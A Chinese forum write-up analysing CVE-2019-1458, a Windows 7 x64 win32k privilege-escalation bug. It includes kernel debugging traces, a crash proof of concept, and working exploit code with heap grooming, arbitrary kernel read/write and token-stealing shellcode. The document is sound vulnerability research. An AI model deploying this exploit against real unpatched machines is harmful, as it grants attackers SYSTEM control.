查看原文
其他

CVE-2019-1458提权漏洞学习笔记

1900 看雪学苑 2022-08-18


本文为看雪论坛优秀文章
看雪论坛作者ID:1900





前言


1.漏洞描述


该漏洞存在于win32k的xxxPaintSwitchWindow函数中,函数会将窗口对象扩展区域最开始八字节保存的内容取出,将其作为内存地址进行读写。可是这最开始的八字节中保存的内容可以通过SetWindowLong函数进行更改,而函数没有验证保存的内容是否指向合法的地址就进行读写,如果地址不合法,则会产生BSOD错误。

通过设置,可以利用函数对指向地址进行读写的操作来扩大窗口的cbwndExtra,通过内存布局,在被扩大cbwndExtra的窗口高地址不远处布置一个窗口对象,通过修改窗口对象的成员实现任意地址读写,最终实现提权。

2.实验环境


  • 操作系统:Win7 x64 sp1 专业版

  • 编译器:Visual Studio 2017

  • 调试器:IDA Pro,WinDbg





漏洞分析


漏洞函数xxxPaintSwitchWindow只有一个参数,就是窗口对象的tagWND结构体,在win7 x64系统下,该结构体共占128字节,定义如下:
2: kd> dt win32k!tagWND -vstruct tagWND, 170 elements, 0x128 bytes +0x000 head : struct _THRDESKHEAD, 5 elements, 0x28 bytes +0x028 state : Uint4B +0x02c state2 : Uint4B +0x030 ExStyle : Uint4B +0x034 style : Uint4B +0x038 hModule : Ptr64 to Void +0x040 hMod16 : Uint2B +0x042 fnid : Uint2B +0x048 spwndNext : Ptr64 to struct tagWND, 170 elements, 0x128 bytes +0x050 spwndPrev : Ptr64 to struct tagWND, 170 elements, 0x128 bytes +0x058 spwndParent : Ptr64 to struct tagWND, 170 elements, 0x128 bytes +0x060 spwndChild : Ptr64 to struct tagWND, 170 elements, 0x128 bytes +0x068 spwndOwner : Ptr64 to struct tagWND, 170 elements, 0x128 bytes +0x070 rcWindow : struct tagRECT, 4 elements, 0x10 bytes +0x080 rcClient : struct tagRECT, 4 elements, 0x10 bytes +0x090 lpfnWndProc : Ptr64 to int64 +0x098 pcls : Ptr64 to struct tagCLS, 25 elements, 0xa0 bytes +0x0a0 hrgnUpdate : Ptr64 to struct HRGN__, 1 elements, 0x4 bytes +0x0a8 ppropList : Ptr64 to struct tagPROPLIST, 3 elements, 0x18 bytes +0x0b0 pSBInfo : Ptr64 to struct tagSBINFO, 3 elements, 0x24 bytes +0x0b8 spmenuSys : Ptr64 to struct tagMENU, 19 elements, 0x98 bytes +0x0c0 spmenu : Ptr64 to struct tagMENU, 19 elements, 0x98 bytes +0x0c8 hrgnClip : Ptr64 to struct HRGN__, 1 elements, 0x4 bytes +0x0d0 hrgnNewFrame : Ptr64 to struct HRGN__, 1 elements, 0x4 bytes +0x0d8 strName : struct _LARGE_UNICODE_STRING, 4 elements, 0x10 bytes +0x0e8 cbwndExtra : Int4B +0x0f0 spwndLastActive : Ptr64 to struct tagWND, 170 elements, 0x128 bytes +0x0f8 hImc : Ptr64 to struct HIMC__, 1 elements, 0x4 bytes +0x100 dwUserData : Uint8B +0x108 pActCtx : Ptr64 to struct _ACTIVATION_CONTEXT, 0 elements, 0x0 bytes +0x110 pTransform : Ptr64 to struct _D3DMATRIX, 16 elements, 0x40 bytes +0x118 spwndClipboardListenerNext : Ptr64 to struct tagWND, 170 elements, 0x128 bytes +0x120 ExStyle2 : Uint4B

xxxPaintSwitchWindow函数会将扩展区域中保存的内容赋给rdi:
.text:FFFFF97FFF111DEC ; void __fastcall xxxPaintSwitchWindow(__int64 tagWND).text:FFFFF97FFF111DEC.text:FFFFF97FFF111E15 xor r13d, r13d.text:FFFFF97FFF111E08 mov rsi, rcx ; 将tagWND赋给rsi.text:FFFFF97FFF111E4F mov rdi, [rsi+128h] ; 取出扩展区域最开始的八字节保存的内容.text:FFFFF97FFF111E56 jmp short loc_FFFFF97FFF111E5B

验证保存的地址是否为0,以及保存的地址偏移0x6C的内容是否为0:
.text:FFFFF97FFF111E5B loc_FFFFF97FFF111E5B: .text:FFFFF97FFF111E5B cmp rdi, r13 ; 验证rdi是否为0.text:FFFFF97FFF111E5E jz loc_FFFFF97FFF112019 // 省略部分代码.text:FFFFF97FFF111E77 cmp [rdi+6Ch], r13d ; 验证[rdi+0x6C]保存的内容是否为0.text:FFFFF97FFF111E7B jz short loc_FFFFF97FFF111E94

之后还会对rdi保存的地址偏移0x5C到0x6C这段区域进行增减操作,这里不难看出,增减的数值由GetDPIMetrics函数的返回值决定,不过这不是重点,重点是这些操作是会扩大这些与rdi偏移的地址中保存的内容:
这里的问题就很明显,函数取出扩展区域最开始八字节保存的地址,仅验证这个地址是否为0,对于它是否合法没有验证。而扩展区域中的内容又可以在用户层通过SetWindowLong函数修改,只要将这个地址修改为一个非法地址,函数对非法地址的读写就会产生BSOD。如果把这个地址指向窗口对象的cbwndExtra成员地址偏移-0x60处,最后面的增减操作就会扩大cbwndExtra。




漏洞验证


触发该的函数调用链为:NtUserMessageCall -> NtUserfnINLPDRAWITEMSTRUCT -> xxxWrapSwitchWndProc -> xxxSwitchWndProc -> xxxPaintSwitchWindow。

首先是NtUserMessageCall函数,该函数在msg < 0x400的时候就会调用gapfnMessageCall数组中保存的函数地址:
__int64 __fastcall NtUserMessageCall(__int64 hwnd, unsigned int msg, __int64 wParam, __int64 lParam, __int64 ResultInfo, int dwType, int a7){
if ( (unsigned int)msg < 0x400 ) { v14 = ((__int64 (__fastcall *)(__int64, _QWORD, __int64, __int64, __int64, int, int))gapfnMessageCall[*(_BYTE *)(msg - 0x68001000000i64 + 0x2A7390) & 0x3F])( v12, (unsigned int)msg, wParam, lParam, ResultInfo, dwType, v15); }}

gapfnMessageCall数组保存了一系列的函数,其中就有NtUserfnINLPDRAWITEMSTRUCT:

NtUserfnINLPDRAWITEMSTRUCT函数通过参数dwType计算偏移,调用gpsi偏移中保存的函数:
__int64 __fastcall NtUserfnINLPDRAWITEMSTRUCT(__int64 a1, unsigned int a2, __int64 a3, const void *a4, __int64 a5, char dwType){
return (*(__int64 (__fastcall **)(__int64, _QWORD, __int64, char *, __int64))(gpsi + 8i64 * ((dwType + 6) & 0x1F) + 0x10))( v8, v7, v6, &Dst, a5);}

而gpsi偏移地址保存的函数在InitFunctionTables函数中初始化,其中偏移0x40处保存了xxxWrapSwitchWndProc,所以参数dwType需要为0,这样8 * 6 + 0x10 = 0x30 + 0x10 = 0x40,NtUserfnINLPDRAWITEMSTRUCT就会调用xxxWrapSwitchWndProc。
xxxWrapSwitchWndProc会调用xxxSwitchWndProc函数:
xxxSwitchWndProc主要分为两部分,第一部分如下图所示,会对tagWND->fnid进行判断,而一个新创建的窗口fnid为0,所以最外面的if语句会成立。在if成立的情况下,会有三个地方可能导致函数返回。
第一处是由于tagWND->fnid为0,所以就是在判断tagWND->cbwndExtra是否小于gpsi + 0x154中保存的数值。因为要用到扩展区域最开始八字节保存的内容,所以这里cbwndExtra至少为8。那么,这里就是在判断gpsi偏移0x154保存的内容大于等于至少0x130,而不通过其他操作,[gpsi + 0x154] < 0x130,所以这个条件不会成立。

第二处在传递的参数msg为WM_CREATE的时候,函数就不会返回:
#define WM_CREATE 0x0001

第三处只要通过SetWindowLong设置扩展区域起始的八字节不为0就不会返回。如果这三处都不成立,就会将tagWND->fnid设置为0x2A0。

xxxSwitchWndProc第二处是调用漏洞函数xxxPaintSwitchWindow:
switch ( msg ) { case 0x14u: case 0x3Au: xxxPaintSwitchWindow(tagWND); return 0i64; }

当消息为WM_ERASEBKGND的时候,xxxSwitchWndProc就会调用xxxPaintSwitchWindow:
#define WM_ERASEBKGND 0x0014

想要触发漏洞函数,msg就不为1,可是msg不为1的时候,在xxxSwitchWndProc的第一部分的第二处代码又会返回。所以就需要两次进入xxxSwitchWndProc函数,第一次的时候msg要为WM_CREATE(0x1),这样函数会将tagWND->fnid设置为0x2A0。第二次在调用的时候,msg就可以指定为WM_ERASEBKGND(0x14),此时由于第一次进入将tagWND->fnid设置为0x2A0,xxxSwitchWndProc就会绕过第一部分的代码,直接在第二部分判断消息,调用漏洞函数xxxPaintSwitchWindow。

在xxxPaintSwitchWindow函数中,在第4处获取扩展区域最开始八字节保存的地址之前,也有三个地方需要绕过:


第一处的绕过,只需要创建窗口的时候,指定窗口可见就可以。在xxxSwitchWndProc函数中,已经设置了tagWND->fnid为0x2A0,所以不需要绕过。第三处还是在判断[gpsi + 0x154]和cbwndExtra + 0x128的数值大小,创建窗口的时候,cbwndExtra只需要设置为8就可以完成触发和利用。所以这里就是在判断[gpsi + 0x154]是否等于0x130。而创建类名为"#32771"窗口的时候,会将[gpsi + 0x154]设置为0x130,所以只需要通过创建这样一个窗口就可以绕过。

因此,漏洞触发步骤如下:

① 创建一个可见的带有八字节扩展区域的窗口用来触发漏洞。

② 调用NtUserMessageCall,参数msg为WM_CREATE(0x1),将tagWND->fnid设置为0x2A0。

③ 将扩展区域最开始八字节保存的地址设置为一个不合法的地址。

④ 创建类名为"32771"的窗口,将[gpsi + 0x154]设置为0x130。

⑤ 调用NtUserMessageCall函数,参数msg为WM_ERASEBKGND(0x14),这样就会指向漏洞函数。

相应POC代码如下:
BOOL POC_CVE_2019_1458(){ BOOL bRet = TRUE; HINSTANCE handle = NULL;
handle = GetModuleHandle(NULL); if (!handle) { bRet = FALSE; ShowError("GetModuleHandle", GetLastError()); goto exit; }
char *pBuf = "POC"; WNDCLASSEX wc = { 0 };
wc.cbSize = sizeof(wc); wc.cbWndExtra = 8; wc.hInstance = handle; wc.lpfnWndProc = DefWindowProc; wc.lpszClassName = pBuf;
if (!RegisterClassEx(&wc)) { bRet = FALSE; ShowError("RegisterClassEx", GetLastError()); goto exit; }
HWND hPocWnd = NULL;
// 创建用来触发漏洞的窗口,指定窗口带有WS_VISIBLE hPocWnd = CreateWindowEx(0, pBuf, NULL, WS_VISIBLE, 0, 0, 0, 0, NULL, NULL, handle, NULL); if (!hPocWnd) { bRet = FALSE; ShowError("CreateWindowEx", GetLastError()); goto exit; }
// 设置tagWND->fnid为0x2A0 NtUserMessageCall(hPocWnd, WM_CREATE, 0, 0, 0, 0, 0);
// 设置内存地址 SetWindowLongPtrW(hPocWnd, 0, 0x1900);
// 设置[gpsi + 0x154] = 0x130 if (!CreateWindowEx(0, "#32771", NULL, 0, 0, 0, 0, 0, NULL, NULL, handle, NULL)) { bRet = FALSE; ShowError("CreateWindowEx", GetLastError()); goto exit; }
// 触发漏洞 NtUserMessageCall(hPocWnd, WM_ERASEBKGND, 0, 0, 0, 0, 0);
exit: return bRet;}

在上图的第四处,也就是取出扩展区域最开始八字节保存的地址代码处下断点,编译运行POC,程序就会绕过上面的判断成功执行到这里:
3: kd> ba e1 win32k!xxxPaintSwitchWindow + 0x633: kd> gBreakpoint 0 hitwin32k!xxxPaintSwitchWindow+0x63:fffff960`00201e4f 488bbe28010000 mov rdi,qword ptr [rsi+128h]0: kd> pwin32k!xxxPaintSwitchWindow+0x6a:fffff960`00201e56 eb03 jmp win32k!xxxPaintSwitchWindow+0x6f (fffff960`00201e5b)

继续向下运行,函数会对扩展区域保存的八字节地址进行读取,而这个地址已经被设置为一个不合法的地址:
3: kd> pwin32k!xxxPaintSwitchWindow+0x6f:fffff960`00201e5b 493bfd cmp rdi,r133: kd> pwin32k!xxxPaintSwitchWindow+0x72:fffff960`00201e5e 0f84b5010000 je win32k!xxxPaintSwitchWindow+0x22d (fffff960`00202019)3: kd> pwin32k!xxxPaintSwitchWindow+0x78:fffff960`00201e64 33d2 xor edx,edx3: kd> pwin32k!xxxPaintSwitchWindow+0x7a:fffff960`00201e66 41b800000100 mov r8d,10000h3: kd> pwin32k!xxxPaintSwitchWindow+0x80:fffff960`00201e6c 488bce mov rcx,rsi3: kd> pwin32k!xxxPaintSwitchWindow+0x83:fffff960`00201e6f e8dccbfaff call win32k!GetDCEx (fffff960`001aea50)3: kd> pwin32k!xxxPaintSwitchWindow+0x88:fffff960`00201e74 488be8 mov rbp,rax3: kd> pwin32k!xxxPaintSwitchWindow+0x8b:fffff960`00201e77 44396f6c cmp dword ptr [rdi+6Ch],r13d3: kd> r rdirdi=00000000000019003: kd> dq 000000000000190000000000`00001900 ????????`???????? ????????`????????00000000`00001910 ????????`???????? ????????`????????00000000`00001920 ????????`???????? ????????`????????00000000`00001930 ????????`???????? ????????`????????00000000`00001940 ????????`???????? ????????`????????00000000`00001950 ????????`???????? ????????`????????00000000`00001960 ????????`???????? ????????`????????00000000`00001970 ????????`???????? ????????`????????

继续运行就会因为对不合法地址进行读取造成BSOD:
1: kd> !analyze -vConnected to Windows 7 7601 x64 target at (Sun Jun 26 10:54:16.859 2022 (UTC + 8:00)), ptr64 TRUE******************************************************************************** ** Bugcheck Analysis ** ********************************************************************************
SYSTEM_SERVICE_EXCEPTION (3b)An exception happened while executing a system service routine.Arguments:Arg1: 00000000c0000005, Exception code that caused the bugcheckArg2: fffff96000131e77, Address of the instruction which caused the bugcheckArg3: fffff88006916ea0, Address of the context record for the exception that caused the bugcheckArg4: 0000000000000000, zero.

CONTEXT: fffff88006916ea0 -- (.cxr 0xfffff88006916ea0)rax=0000000006010568 rbx=fffff900c08209e0 rcx=0000000000000000rdx=fffffa800525a630 rsi=fffff900c08209e0 rdi=0000000000001900rip=fffff96000131e77 rsp=fffff88006917880 rbp=0000000006010568 r8=0000000000000000 r9=0000000000000000 r10=fffff880069176c0r11=fffffa800525a630 r12=0000000000000000 r13=0000000000000000r14=0000000000000000 r15=0000000000000000iopl=0 nv up ei ng nz na pe nccs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00010282win32k!xxxPaintSwitchWindow+0x8b:fffff960`00131e77 44396f6c cmp dword ptr [rdi+6Ch],r13d ds:002b:00000000`0000196c=????????Resetting default scope
PROCESS_NAME: exp_x64.exe
STACK_TEXT: win32k!xxxPaintSwitchWindow+0x8bwin32k!xxxSwitchWndProc+0xc5win32k!xxxWrapSwitchWndProc+0x3cwin32k!NtUserfnDWORD+0x27win32k!NtUserMessageCall+0x132nt!KiSystemServiceCopyEnd+0x13exp_x64+0x107bexp_x64+0x3f81a





漏洞利用


要利用这个漏洞,需要在触发漏洞的窗口高地址不远处布置另一个用来攻击的窗口,所以需要首先创建一些用来攻击的窗口,然后释放掉中间的一部分,这样触发漏洞时候创建的窗口就会占用释放的某个窗口,高地址就会保存其他的窗口,相应代码如下:
BOOL Init_CVE_2019_1458(HWND *hWndList){ BOOL bRet = TRUE; WNDCLASSEX wc = { 0 }; char *pAttackName = "Attack"; DWORD i = 0; HINSTANCE handle = NULL;
handle = GetModuleHandle(NULL); if (!handle) { bRet = FALSE; ShowError("GetModuleHandle", GetLastError()); goto exit; }
memset(&wc, 0, sizeof(wc)); wc.cbSize = sizeof(wc); wc.hInstance = GetModuleHandle(NULL); wc.lpfnWndProc = DefWindowProc; wc.lpszClassName = pAttackName; wc.cbWndExtra = 8;
if (!RegisterClassEx(&wc)) { ShowError("RegisterClassEx", GetLastError()); bRet = FALSE; goto exit; }
// 创建用来攻击的窗口 for (i = 0; i < 100; i++) { hWndList[i] = CreateWindowEx(NULL, pAttackName, "Hack Window", WS_VISIBLE, 0, 0, 0, 0, NULL, 0, handle, 0); if (!hWndList[i]) { ShowError("CreateWindowEx", GetLastError()); bRet = FALSE; goto exit; } }
// 释放其中的一部分用来保存触发漏洞时候创建的窗口 for (i = 20; i < 80; i += 2) { if (!DestroyWindow(hWndList[i])) { ShowError("DestroyWindow", GetLastError()); bRet = FALSE; goto exit; } hWndList[i] = NULL; }
exit: return bRet;}

在漏洞触发的时候,只要找到高地址处最近的窗口就可以完成攻击。此时,窗口扩展区域最开始八字节保存的地址应当是触发漏洞窗口的cbwndExtra地址减去0x60偏移的地址,因为xxxPaintSwitchWindow进行加减入操作的时候,是从偏移0x5C开始的。另外,在到达对内存进行加减操作之前,函数还会判断Alt键是否被按下,所以触发漏洞之前,需要模拟Alt的按键消息才能成功的完成加减的操作。


一旦成功扩大cbwndExtra,就可以利用SetWindowLong修改高位地址的tagWND实现任意地址读写完成提权,所以此时触发漏洞的代码如下:
BOOL Trigger_CVE_2019_1458(HWND *hWndList){ BOOL bRet = TRUE; HINSTANCE handle = NULL; lHMValidateHandle HMValidateHandle = NULL;
handle = GetModuleHandle(NULL); if (!handle) { bRet = FALSE; ShowError("GetModuleHandle", GetLastError()); goto exit; }
HMValidateHandle = (lHMValidateHandle)GetHMValidateHandle(); if (!HMValidateHandle) { bRet = FALSE; goto exit; }
char *pBuf = "Trigger"; WNDCLASSEX wc = { 0 };
wc.cbSize = sizeof(wc); wc.cbWndExtra = 8; wc.hInstance = handle; wc.lpfnWndProc = DefWindowProc; wc.lpszClassName = pBuf;
if (!RegisterClassEx(&wc)) { bRet = FALSE; ShowError("RegisterClassEx", GetLastError()); goto exit; }
HWND hTriggerWnd = NULL;
// 创建用来触发漏洞的窗口,指定窗口带有WS_VISIBLE hTriggerWnd = CreateWindowEx(0, pBuf, NULL, WS_VISIBLE, 0, 0, 0, 0, NULL, NULL, handle, NULL); if (!hTriggerWnd) { bRet = FALSE; ShowError("CreateWindowEx", GetLastError()); goto exit; }
// 寻找用来攻击的窗口 ULONG64 ulTriggerAddr = 0, ulAttackAddr = 0, i = 0; PTHRDESKHEAD pTriggerHead = (PTHRDESKHEAD)HMValidateHandle(hTriggerWnd, TYPE_WINDOW);
ulTriggerAddr = (ULONG64)pTriggerHead->pSelf; HWND hAttackWnd = NULL; for (i = 0; i < 100; i++) { if (hWndList[i]) { PTHRDESKHEAD pAttackHead = (PTHRDESKHEAD)HMValidateHandle(hWndList[i], TYPE_WINDOW); ulAttackAddr = (ULONG64)pAttackHead->pSelf; if (ulAttackAddr > ulTriggerAddr && ulAttackAddr - ulTriggerAddr < 0xFF0000) { hAttackWnd = hWndList[i]; break; } } }
if (!hAttackWnd) { printf("Do not find Attack tagWND\n"); bRet = FALSE; goto exit; }
// 设置tagWND->fnid为0x2A0 NtUserMessageCall(hTriggerWnd, WM_CREATE, 0, 0, 0, 0, 0);
// 设置内存地址 ULONG64 ulValue = ulTriggerAddr + 0xE8 - 0x60; SetWindowLongPtrW(hTriggerWnd, 0, ulValue);
// 设置[gpsi + 0x154] = 0x130 if (!CreateWindowEx(0, "#32771", NULL, 0, 0, 0, 0, 0, NULL, NULL, handle, NULL)) { bRet = FALSE; ShowError("CreateWindowEx", GetLastError()); goto exit; }
// 模拟Alt按键 BYTE keyState[256]; GetKeyboardState(keyState); keyState[VK_MENU] |= 0x80; SetKeyboardState(keyState);
// 触发漏洞 NtUserMessageCall(hTriggerWnd, WM_ERASEBKGND, 0, 0, 0, 0, 0);
ULONG64 ulOffset = ulAttackAddr - ulTriggerAddr - 0x128; if (!EnablePrivilege_CVE_2019_1458(hTriggerWnd, hAttackWnd, ulOffset)) { bRet = FALSE; goto exit; }
exit: return bRet;}

在提权代码中,利用tagWND->spwndParent和tagWND->StrName->Buffer来实现任意代码读写,修改关键函数为ShellCode地址实现提权:
BOOL EnablePrivilege_CVE_2019_1458(HWND hTriggerWnd, HWND hAttackWnd, ULONG64 ulOffset){ BOOL bRet = TRUE;
PVOID pTargetAddr = NULL;
pTargetAddr = GetHalQuerySystemInformation(); if (!pTargetAddr) { bRet = FALSE; goto exit; }
ULONG64 ulOrgFunAddr = 0;
// 获取原函数地址 ulOrgFunAddr = ReadData_CVE_2019_1458(hTriggerWnd, hAttackWnd, pTargetAddr, ulOffset);
// 将函数修改为ShellCode地址 WriteData_CVE_2019_1458(hTriggerWnd, hAttackWnd, pTargetAddr, ShellCodeInWin7, ulOffset);
// 调用函数执行ShellCode实现提权 if (!CallNtQueryIntervalProfile()) { bRet = FALSE; goto exit; }
// 恢复原函数 WriteData_CVE_2019_1458(hTriggerWnd, hAttackWnd, pTargetAddr, (PVOID)ulOrgFunAddr, ulOffset);
exit: return bRet;}
VOID WriteData_CVE_2019_1458(HWND hTriggerWnd, HWND hAttackWnd, PVOID pTargetAddr, PVOID pValue, ULONG64 ulOffset){ BOOL bRet = TRUE;
// 设置要写入的地址 SetWindowLongPtrW(hTriggerWnd, ulOffset + 0xE0, (ULONG64)pTargetAddr);
LARGE_UNICODE_STRING lstrData = { 0 }; lstrData.Length = 0x8; lstrData.MaximumLength = 0xA; lstrData.Buffer = (PWCHAR)&pValue; NtUserDefSetText(hAttackWnd, &lstrData);}
ULONG64 ReadData_CVE_2019_1458(HWND hTriggerWnd, HWND hAttackWnd, PVOID pTargetAddr, ULONG64 ulOffset){ ULONG64 ulOrg = 0, ulOrgPar = 0; ULONG64 ulParOffset = ulOffset + 0x58;
// 获取tagWND->spwndParent ulOrgPar = GetWindowLongPtrW(hTriggerWnd, ulParOffset);
// 设置tagWND->spwndParent为目标地址 SetWindowLongPtrW(hTriggerWnd, ulParOffset, (ULONG64)pTargetAddr); // 读取目标地址内容 ulOrg = (ULONG64)GetAncestor(hAttackWnd, GA_PARENT); // 恢复tagWND->spwndParent SetWindowLongPtrW(hTriggerWnd, ulParOffset, ulOrgPar);
return ulOrg;}





运行结果


在Win7 x64系统中,用来实现提权的关键成员偏移如下:
3: kd> dt _EPROCESSntdll!_EPROCESS +0x180 UniqueProcessId : Ptr64 Void +0x188 ActiveProcessLinks : _LIST_ENTRY +0x208 Token : _EX_FAST_REF

此时的对象头定义如下,此时Body偏移为0x30,所以提权之后,增加PointerCount时的偏移为-0x30:
kd> dt _OBJECT_HEADERnt!_OBJECT_HEADER +0x000 PointerCount : Int8B +0x008 HandleCount : Int8B +0x008 NextToFree : Ptr64 Void +0x010 Lock : _EX_PUSH_LOCK +0x018 TypeIndex : UChar +0x019 TraceFlags : UChar +0x01a InfoMask : UChar +0x01b Flags : UChar +0x020 ObjectCreateInfo : Ptr64 _OBJECT_CREATE_INFORMATION +0x020 QuotaBlockCharged : Ptr64 Void +0x028 SecurityDescriptor : Ptr64 Void +0x030 Body : _QUAD

相应的ShellCode如下:
ShellCodeInWin7 proc push r8 push r9 ; 从KPCR中获取当前线程_ETHREAD mov rax, gs:[188h] ; 从_ETHREAD中获取当前进程_EPROCESS mov rax, [rax + 70h] mov r8, rax
find_system_proc: ; 获取下一进程EPROCESS地址 mov rax, [rax + 188h] sub rax, 188h ; 获取PID mov rdx, [rax + 180h] ; 判断pid是否为4,不为4则跳转 cmp rdx, 4 jne find_system_proc
; 将system的token赋值给本进程,并增加引用计数 mov rax, [rax + 208h] and al, 0f0h mov [r8 + 208h], rax mov r9, 2 add [rax - 30h], r9
; 设置返回值,退出函数 mov rax, 1 pop r9 pop r8 ret ShellCodeInWin7 endp

相应的代码在:https://github.com/LegendSaber/exp_x64/blob/master/exp_x64/CVE-2019-1458.cpp。编译运行成功,就可以成功提权:


虽然可以成功提权,由于触发漏洞的时候,xxxPaintSwitchWindow会修改0x10字节的数据,所以不只是tagWND->cbwndExtra会被修改,其他成员也会被修改,所以在程序释放窗口的时候就会产生BSOD。尝试过把这些被修改的数据改成0,或者其他窗口的数值,但还是会蓝屏,不知道要怎么解决,就等论坛的其他师傅们探索了。



参考资料

https://bbs.pediy.com/thread-260268.htm

https://blog.csdn.net/qq_41252520/article/details/120308729





看雪ID:1900

https://bbs.pediy.com/user-home-835440.htm

*本文由看雪论坛 1900 原创,转载请注明来自看雪社区


# 往期推荐

1.堆、UAF之PWN从实验到原理

2.Frida inlineHook原理分析及简单设计一款AArch64 inlineHook工具

3.PWN学习笔记【格式化字符串漏洞练习】

4.Il2Cpp恢复符号过程分析

5.记一次安全产品的漏洞挖掘

6.CVE-2016-3309提权漏洞学习笔记






球分享

球点赞

球在看



点击“阅读原文”,了解更多!

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存